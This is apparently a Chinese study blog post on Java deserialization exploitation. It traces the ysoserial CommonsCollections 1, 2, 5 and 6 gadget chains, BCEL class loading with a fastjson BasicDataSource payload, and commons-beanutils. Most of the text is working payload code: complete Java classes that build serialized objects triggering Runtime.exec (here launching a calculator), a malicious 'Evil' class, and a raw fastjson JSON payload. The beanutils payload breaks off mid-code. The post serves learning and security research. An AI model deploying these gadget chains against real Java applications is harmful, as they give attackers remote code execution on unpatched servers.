很多知识学了忘,忘了学,还没有汇集成面。那要不再来一遍?
学ysoserial工具,可以从CC6开始看,然后CC5等,这些都对应着commons-collections:3.1
。另外想学会反序列化的利用,commons-beanutils
和BCEL
两个内容也要学会。
准备下周有时间再仔细调试一遍,到时候再来补充。
CC6
利用链如下:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
下载一个Commons-collections3.1.jar,放入IDEA中分析一波。
所有CC6的payload核心在于InvokerTransformer类,它实现了Transformer接口。
public interface Transformer {
Object transform(Object var1);
}
快捷键control+h
可以快速搜索该接口的实现类
反序列化漏洞攻击的核心在于如何构造如Runtime. getRuntime().exec(''calc'')
这样命令执行的语句。该语句可以写成很多种形式,但都是要用到反射方法。以Mac下弹计算器的命令为例,获取Class对象->获取该对象的方法->执行该方法。
String cmd="open /System/Applications/Calculator.app";
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,cmd);
那么为什么CC系列链条的核心在于InvokerTransformer呢?它重写的transformer函数中部分内容如下,上述命令执行过程所需的getClass、getMethod、invoke方法都有了。而这些方法的参数又可以通过transformer自身的构造函数传入
//InvokerTransformer#transform
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
//InvokerTransformer#InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
利用InvokerTransformer构造函数,调用transform,弹计算器,可以写成如下方式:
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
invokerTransformer.transform(Runtime.getRuntime());
但是这样写存在一个问题,Runtime.getRuntime()
在实际应用中无法这样传入。那么就需要按照反射的方式,先获取Runtime类,再getMethod获取getRuntime方法。那么如何传入Runtime类,并且还得是Transformer的子类,进行一番搜寻能找到ConstantTransformer类。
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
如果用ConstantTransformer类传入Runtime类,结合InvokerTransformer,进一步可以修改成下面这样。
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
Object iConstant=constantTransformer.transform(Runtime.class); //Runtime.class=>class类型->有getMethod方法
InvokerTransformer invokerTransformer=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});
Object k=invokerTransformer.transform(iConstant);
InvokerTransformer invokerTransformer1=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});
Object n=invokerTransformer1.transform(k);
InvokerTransformer invokerTransformer2=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
invokerTransformer2.transform(n);
首先因为传入的不再是Runtime.getRuntime对象,而是Runtime类,Runtime类属于java.lang.Class,该包中有的方法是getMethod,那么我们需要通过getMethod去调用getRuntime方法。对于新手来说,后面的参数怎么写就需要一些Java功底。
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});
首先看一下InvokerTransformer构造函数定义的参数(String methodName, Class[] paramTypes, Object[] args)
,这就固定了参数类型部分,而参数具体内容就要根据getMethod方法定义public Method getMethod(String name, Class<?>... parameterTypes)
,这里提一个基础的小点,Class<?>是泛型,泛型本身是ArrayList类型,即要写成数组形式。也就是第一个参数要为String类型,第二个参数为Class[]数组类型。
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});
invoker部分同理,public Object invoke(Object obj, Object... args)
,而exec就较为简单了public Process exec(String command)
。
再回到上述ConstantTransformer和InvokerTransformer结合的写法中,存在一个问题就是如何能自动去多次调用transformer。同样在Transformer的实现类中寻找,ChainedTransformer
顾名思义,可以构造一个Transformer链条。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
如果把上面的需要调用transform的内容都放进iTransformers中就大功告成,也就是说都要存进Transformer[] 这个数组中。
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
};
Transformer chainedTransformer=new ChainedTransformer(Transformer);
chainedTransformer.transform(Transformer);
接下来的问题就是,什么类可以调用transform函数,并且可以传入对象。按照CC6的链条,用了LazyMap类的get函数
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
根据函数定义可知,如果继续要往上去找get的调用方法,就要找到形如map.get()这样的方式。
//TiedMapEntry
public Object getValue() {
return this.map.get(this.key);
}
public int hashCode() {
Object value = this.getValue();//同类中的hashCode方法又调用了getValue
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
//HashMap
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); //调用hashcode
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true) //调用hash
//HashSet
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
最终调用了readObject,而反序列化的攻击点就在于java.io.ObjectInputStream.readObject()
,至此链条完整,具体原作者如何选取的hashmap为节点,虽不得而知,但令人赞叹。
简版payload:
public class CC6_Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
};
Transformer chainedTransformer=new ChainedTransformer(Transformer);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.flush();
oos.close();
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
从HashSet获取引用对象HashMap,private transient HashMap<E,Object> map;
。因为该对象是private的,需要通过反射改变访问权限。f.get(Object obj)
返回指定对象obj上此 Field 表示的字段的值。然后再从HashMap获取引用字段table,transient Node<K,V>[] table;
。这个table是一个数组,然后再获取第一个元素叫做node,然后从node对象获取字段key。这样payload在反序列化时才能按照攻击链的顺序去执行。
CC5
CC5和CC6较为类似,比较着看,差异在于,LazyMap.get上层的调用链,CC5用的是TiedMapEntry.toString而CC6则是TiedMapEntry.getValue。toString方法return this.getKey() + "=" + this.getValue();
,本身也是对getValue的调用。BadAttributeValueExpException构造函数可根据传入的对象来调用toString,并且具有接收ObjectInputStream参数的readObject方法,完美契合攻击链的构造。
//CC5
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
//CC6
ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
LazyMap.get()
附上简版payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5_test {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
new ConstantTransformer(1)
};
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field val=badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,entry);
Field field=transformerChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,Transformer);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
CC1
Gadget chain如下,和上述的CC链一样,只是get方法上层调用选取了AnnotationInvocationHandler。
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
AnnotationInvocationHandler主要用于注解。注解的最底层实现则是一个动态代理。InvocationHandler类经常被用于动态代理,所谓动态代理就是定义了某个接口,但不编写实现类,通过JDK提供的proxy.newProxyInstance()创建一个接口对象
总的来说,在运行期间动态创建一个interface实例的方法是:
1.定义一个InvocationHandler实例,负责实现接口方法调用
2.通过Proxy.newProxyInstance()创建interface实例,并配以三个参数:使用的ClassLoader、需要实现的接口数组、用来处理接口方法调用的InvocationHandler实例。
3.将返回的object强制转型为接口。
通过demo对比一下静态类和动态代理,此demo来自廖雪峰师傅的博客:
//静态
public interface Hello {
void morning(String name);
}
public class HelloWorld implements Hello {
public void morning(String name) {
System.out.println("Good morning, " + name);
}
}
Hello hello = new HelloWorld();
hello.morning("Bob");
//动态代理
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("Bob");
}
}
interface Hello {
void morning(String name);
}
该类中有个invoke函数:
//invoke函数
Object var6 = this.memberValues.get(var4);
//memberValues的定义
private final Map<String, Object> memberValues;
再来看一下该类的readobject函数:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
其实payload编写的过程主要是对Java特性要比较熟悉,例如memberValues是Map类型,Map有那些操作呢?插入map.put(k,v)
、获取map.get(k)
、移除map.remove(key)
,对Map进行遍历时可采用四种方式:
//1
for (String key : map.keySet())
//2
for (Map.Entry<String, String> entry : map.entrySet())
//3
Iterator<Map.Entry<String, String>> it = map.entrySet().iterator();
while (it.hasNext()) {
Map.Entry<String, String> entry = it.next();
}
//4
for (String v : map.values())
Entry是什么呢?它是Map中采用的一个内部类来表示一个映射项,也就是说每一个键值对就是一个Entry。
entrySet是返回Map中所包含映射的Set视图。Set中的每个元素都是一个Map.Entry对象,可以使用getKey和getValue方法。keySet则是返回键的视图。
附上简版payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC1_test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
new ConstantTransformer(1)
};
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);
Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler) construct.newInstance(Retention.class,proxymap);
Field field=transformerChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,Transformer);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
System.out.println(baos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
}
BCEL
BCEL,全名Apache Commons BCEL,一看也是Commons家族的,提供了一系列用于分析、创建、修改Java Class文件的API,位于原生JDK中,com.sun.org.apache.bcel。离别歌写的文章很清楚https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html。这个利用方式目前只存在于低于java 8u 251的版本中。
在JVM的执行过程中,通过ClassLoader将类加载到内存。JDK中内置了很多ClassLoader,例如BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLCLassLoader等。它们之间的委派模式级别从低到高。ClassLoader中有几个重要的方法,loadClass(加载全限定类名)、fineClass(搜索类的位置)、defineClass(将字节码转换为JVM的java.lang.class对象)等。
在反射机制中经常看到用Class.forName来动态加载指定的类,从而返回一个CLass对象,如果此时没有指定ClassLoader,那么就会使用BootstrapClassLoader来加载。所以Class.forName本质上也是调用ClassLoader来实现的。但是Class.forName与ClassLoader.loadClass存在如下的区别:
forName() 默认会对类进行初始化,会执行类中的 static 代码块
ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中
BCEL中也有个ClassLoader:com.sun.org.apache.bcel.internal.util.ClassLoader
。该类重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否以$$BCEL$$
开头,如果是就对这个后面的字符串进行decode。
下面是个用BCEL的demo,首先创建一个恶意类Evil,将Evil生成BCEL形式的字节码,然后用该字节码来创建对象,最终调用计算器。
public class Evil {
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (Exception e) {}
}
}
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class BCEL_Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
JavaClass javaClass= Repository.lookupClass(Evil.class);
String code= Utility.encode(javaClass.getBytes(),true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}
对于上述最后这一步加载,在fastjson中常用Class.forName("xxx", true, new ClassLoader)
,此时的ClassLoader是bcel包中的而非java.lang.ClassLoader
在fastjson中,应用BasicDataSource的payload会调用Class.forName方法,并且可以自定义ClassLoader类型,demo如下:
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
public class fastjson_test {
public static void main(String[] args) throws IOException {
JavaClass javaClass= Repository.lookupClass(Evil.class);
String code= Utility.encode(javaClass.getBytes(),true);
String poc= "{\n"+
"{\n"+
" \"aaa\": {\n"+
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"+
" \"driverClassLoader\": {\n"+
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"+
" },\n"+
" \"driverClassName\": \"$$BCEL$$"+code+"\"\n"+
"}\n"+
"}: \"bbb\"\n" +
"}";
JSON.parse(poc);
}
}
最后附上纯净的payload
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$..."
}
}: "bbb"
}
CC2
CC2的调用链如下,用的是PriorityQueue。
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
PriorityQueue,顾名思义,是一个优先级队列,按照队列中元素的自然顺序排列,或者根据构造队列时提供的Comparator进行排序。队列中不能有null元素,也不能插入不可比较对象(即,没有实现Comparable接口的对象)。另外,PriorityQueue是无界的,如果不断向其中添加元素,容器就会无限扩充。队列的头元素指向排序规则最小的元素。这也体现了优先队列的作用:每次取出的元素都是队列中权值最小的
PriorityQueue是通过二叉小顶堆实现的,可以用一颗完全二叉树表示。所谓小顶堆就是任意一个非叶子节点的权值,都不大于其左右节点的权值。学过基础算法的人都了解,队列包含的基础操作有:创建队列;判断队列是否为空;插入、删元素;这些也被包含在优先队列函数中。以插入元素为例:
https://www.cnblogs.com/CarpenterLee/p/5488070.html.offer()插入元素
插入元素4后,会发现它不满足二叉小顶堆的定义,即9比4大,不是个小顶堆,那么就需要用siftUp函数进行调整。插入的时候会调用扩容函数grow。
另外提一句,add(E e)和offer(E e)的语义相同,都是向优先队列中插入元素,只是Queue接口规定二者对插入失败时的处理不同,前者在插入失败时抛出异常,后则则会返回false。同样获取队列头元素(但不删除)也有两种方法:element()和peek(),二者的异同和add与offer类似。同样是获取队列头元素,但是同时删除头元素的方法则是:remove和poll
关于PriorityQueue的算法问题,可以看下面文章的图,很清楚
https://www.cnblogs.com/CarpenterLee/p/5488070.html
然后是InvokerTransformer上层选取的TransformingComparator,从CC6的payload来看,TransformingComparator必然替代了ChainTransformer的功能。具体来看一下该类的内容
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
类中的compare函数,调用了transformer对象的transform函数。这些是给出的Gadget chain中的内容,那么ysoserial中的payload又是什么样子的呢?
首先提到了TemplatesImpl类。该类位于com.sun.org.apache.xalan.internal.xsltc.trax
xalan处理器主要用于XML转换,它主要的类如下:
TransformerFactory:转换器工厂,负责生产转换器;
Transformer:XSLT转换器,负责加载XSLT样式单文档,并执行转换;
Source:代表源XML文档的接口,其常用实现类有DOMSource、StreamSource、SAXSource;
Result:代表转换结果的文档接口,其常用实现类有DOMResult、StreamResult、SAXResult。
TemplatesImpl类
defineTransletClasses函数有一行如下的代码,获取_bytecodes[i]中的类,传递给_class[i]
_class[i] = loader.defineClass(_bytecodes[i]);
getTransletInstance()函数则对_class[]类进行了实例化,创建了类对象,但有个限制是类对象是AbstractTranslet类型。
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
那么接下来的问题就是如何调用getTransletInstance方法
newTransformer()函数可以对getTransletInstance方法进行调用,POC中利用InvokerTransformer去调用newTransformer。
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
后续,TransformingComparator的compare方法会去调用传入参数的transform方法,而compare方法的调用则依靠PriorityQueue类来实现了。
PriorityQueue类siftDownUsingComparator函数执行了compare函数,由comparator来调用。而siftDown函数则在comparator不为空的前提下对siftDownUsingComparator函数进行调用,heapify又可以对siftDown进行循环调用。PriorityQueue类的readObject函数自动会调用heapify函数,这一步简直完美。
//PriorityQueue类
//siftDownUsingComparator
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
private final Comparator<? super E> comparator;
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
整个payload链条补全大致如下:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
TransformingComparator.compare()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
最后还要提一下Javassist,一个Java字节码类库。Javaassit.CtClass 表示 class 文件。一个 GtClass (编译时类)对象可以处理一个 class 文件,ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。
ClassPool常用方法:
getDefault : 创建ClassPool;
appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑
makeClass:定义一个新的类(在知道类完整路径和名字的情况下)
生成类对象的方式:
ClassPool pool = ClassPool.getDefault();
// 设置类路径
pool.appendClassPath("/Users/yangyue/workspace/springboot-learn/java-agent/src/main/java/");
CtClass ctClass = pool.get("com.rickiyang.learn.javassist.Person");
Object person = ctClass.toClass().newInstance();
ysoserial的CC2 payload借助javaassist来生成一个继承自AbstractTranslet的恶意类。AbstractTranslet在上文提到了,TemplatesImpl获取_bytecodes[i]中的类,该类在getTransletInstance函数中被限制为AbstractTranslet类型。
最后附上裸版payload,便于新手阅读。
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CC2_test{
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
commons-beanutils
对比一下ysoserial工具中commons-beanutils和commons-collections2的payload就会发现二者最大的区别如下:
//commons-collections2
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
//commons-beanutils
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
也就是说用BeanComparator替代了InvokerTransformer。BeanComparator来自commons-beanutils包,该jar包主要提供对JavaBean进行各式操作,例如直接get/set一个属性值。
BeanComparator类中有compare函数:
//BeanComparator类
//compare
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
}
//internalCompare
private int internalCompare(Object val1, Object val2) {
Comparator c = this.comparator;
return c.compare(val1, val2);
}
简版payload:
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class Beanutil_test {
public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
BeanComparator comparator = new BeanComparator("lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
